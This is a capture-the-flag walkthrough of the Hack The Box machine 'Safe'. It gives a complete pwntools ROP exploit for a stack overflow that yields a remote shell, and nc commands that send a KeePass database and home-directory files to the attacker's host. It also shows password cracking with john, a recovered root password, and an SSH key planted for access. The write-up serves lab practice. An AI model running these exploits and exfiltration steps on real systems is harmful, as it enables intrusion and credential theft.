Safe is another box from TJNull’s list of OSCP-like boxes from the HTB ‘retired’ archive. It is rated as ‘more challenging than OSCP, but good practice’.
nmap first.
Nmap
nmap -sV -Pn -p- --min-rate 10000 10.10.10.147 |tee -a safe.txt
Nmap scan report for 10.10.10.147
Host is up (0.19s latency).
Not shown: 65423 closed ports, 109 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
1337/tcp open waste?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=3/19%Time=5E73E3C1%P=x86_64-pc-linux-gnu%r(NU
SF:LL,3E,"\x2017:28:40\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x
SF:20average:\x200\.02,\x200\.02,\x200\.00\n")%r(GenericLines,63,"\x2017:2
SF:8:40\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200
SF:\.02,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec
SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2017:28:46\x20up\x203\x20min,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\.0
SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20
SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2017:28:46\x20up\x203\x20min,\
SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\.00
SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\
SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2017:28:47\x20up\x203\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\
SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO
SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2017:28:47\x20up\x203\x20mi
SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.02,\x200\.02,\x200\
SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2017:28:52\x20up\x203\x20min,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.01,\x200\.02,\x200\.00\n")
SF:%r(DNSStatusRequestTCP,3E,"\x2017:28:58\x20up\x203\x20min,\x20\x200\x20
SF:users,\x20\x20load\x20average:\x200\.01,\x200\.01,\x200\.00\n")%r(Help,
SF:67,"\x2017:29:03\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20a
SF:verage:\x200\.01,\x200\.01,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me
SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2017:29:03
SF:\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.01
SF:,\x200\.01,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x
SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2017:29:04\x20up\
SF:x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.01,\x200\
SF:.01,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\
SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2017:29:04\x20up\x203\x20min,\x20\x
SF:200\x20users,\x20\x20load\x20average:\x200\.01,\x200\.01,\x200\.00\n\nW
SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://10.10.10.147/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t40 -x .php,.txt
The webpage is the default Apache index.html, but in the source there is a hint.
Browsing to http://10.10.10.147/myapp gives us a binary to download.
file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
64-bit ELF binary!
Im going to use gdb-peda to work with this binary; but before opening it up it’s helpful to find out what, if any, protections are in place on it.
Running checksec at myapp reveals NX enabled, so we cannot run shellcode directly in the exploit.
GDB-PEDA
Open myapp inside gdb-peda with:
gdb myapp
After initally running the binary, it seems that gdb-peda follows the child process, to select gdb to follow the parent process instead use:
set follow-fork-mode parent
Take a look at main
in the disassembler:
Like metasploit-framework’s pattern_create.rb and pattern_offset.rb we can work out the offset
, or point just as the program crashes.
The following command will create a random pattern and save it to file called ab
, which we can call as input later.
pattern create 200 ab
If we check our Kali pwd, with ls
we find ab, look at it with cat:
cat ab
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Now run the program and crash it with the contents of ab
:
r < ab
Look at the stack
section of the report; the value at the top of the stack will help give us our offset.
pattern offset
can calculate this offset, which is the number of bytes that were processed before that pattern left at the top of the stack.
gdb-peda$ pattern offset jAA9AAOA
jAA9AAOA found at offset: 120
To check our findings create a pattern of 120 character ‘A’s and append 8 character ‘B’s to it followed by a bunch of ‘C’s for padding, say 100 of them.
From the terminal outside peda, we can use a python command to quickly generate this.
python -c 'print "A"*120 + "B"*8 + "C"*100' > bb
check it with cat
cat bb
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Now run it as input to myapp in gdb-peda.
r < bb
The result confirms our control.
Since we can’t input shellcode, we need to use a ROP exploit, First lets check the functions.
info functions
The address of the system
function is 0x401040
, but there’s also a test
function here (0x401152
) that isn’t called by the program.
disas test
This gives us more info on the test function.
The contents of rbp
moves through rsp
and into rdi
, then the function jumps (jmp
) to r13
We can use ropper
ropper -f myapp |grep r13
This returns only the rop gadgets found that mention r13.
This looks like a good candidate:
0x0000000000401206: pop r13; pop r14; pop r15; ret;
The ROP gadget is at 0x401206
We have all the info we need to write a simple exploit.
The system call is at 0x401040
The test function call is at 0x401152
The ROP gadget is at 0x401206
We don’t need r14 or r15, so fill them with Bs and Cs
We need to put our shell invocation (/bin/bash\x00) in the rpb to be moved to the rdi register via the test() function; so we need to amend the buffer to include the command.
Here’s the exploit:
#/usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
shell = "/bin/sh\x00"
buf = "A" * (120 - len(shell))
system = p64(0x401040)
pop_r13 = p64(0x401206)
r14 = "B" * 8
r15 = "C" * 8
test = p64(0x401152)
payload = buf + shell + pop_r13 + system + r14 + r15 + test
p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
p.interactive()
We get an interactive shell:
and the user flag:
$ cat /home/user/user.txt
7axxxxxxxxxxxxxxxxxxxxxxxxxxx90
Privilege Escalation
The contents of /home/user
are interesting.
I want to get these files back to Kali to play with, but the current shell is rubbish, and I cant get a better one with python.
I create a working directory
mkdir /var/tmp/boo
from there I use wget to put nc
on the target….its hosted on kali by a simple python webserver.
wget http://10.10.14.24/nc
Use chmod to make it executable
chmod +x /var/tmp/boo/nc
use nc to transfer the files:
on Kali
nc -nlvp 8888 > MyPasswords.kdbx
Then on Safe
from /home/user
/var/tmp/boo/nc 10.10.14.24 8888 < MyPasswords.kdbx
repeat this process with the JPG files.
After the second .jpg file I realised there was an easier way.
I copied the contents of the /home/user directory to /var/tmp/boo
cp * /var/tmp/boo/
then changed to /var/tmp and used tar to compress the directory and send the resulting tarball.
cd /var/tmp
tar -czvf boo.tar.gz boo
mv boo.tar.gz boo/
cd boo
./nc 10.10.14.24 8888 < boo.tar.gz
on kali
nc -nlvp 8888 > boo.tar.gz
then decompress it.
tar -xvzf boo.tar.gz
better!
keepass2john + john
Keepass is a password manager, MyPasswords.kdbx is the database file containing the info we want, and one of these .JPG files contain the master password to access the file.
We need to use keepass2john
to reformat the files in a way john
can handle to crack the password.
for i in $(ls *.JPG);do keepass2john -k $i MyPasswords.kdbx > hash.txt;done;john -w=/root/wordlists/rockyou-30.txt hash.txt
###########
We can use kpcli (keepass cli) to access the database.
kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx
The database contains the root password.
root@kali:~/HTB/retired/safe/boo# kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx
Please provide the master password: *************************
KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password
kpcli:/MyPasswords> show -f Root\ password
Path: /MyPasswords/
Title: Root password
Uname: root
Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
URL:
Notes:
kpcli:/MyPasswords>
root/u3v2249dl9ptv465cogl3cnpo3fyhk
ssh in as root:
ssh root@10.10.10.147
root@10.10.10.147's password:
Permission denied, please try again.
root@10.10.10.147's password:
Permission denied, please try again.
root@10.10.10.147's password:
root@10.10.10.147: Permission denied (publickey,password).
Copy ssh public rsa to Authorized_keys
we can generate some ssh id_rsa keys, inject the public one into the user’s Authorized_keys and ssh as user.
ssh-keygen -t rsa
Select the pwd to save the files.
cat id_rsa.pub
copy the key, then echo it into an authorized_keys file.
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/GpLAJJntS2Fkv <----snip--->" > /home/user/.ssh/authorized_keys
Then use the counterpart private key to log in.
ssh -i id_rsa user@10.10.10.147
su -
to root with the recovered password and get the flag.
user@safe:~$ su -
Password:
root@safe:~# cat /root/root.txt
d7xxxxxxxxxxxxxxxxxxxxxxxxxxxx53
root@safe:~#
:)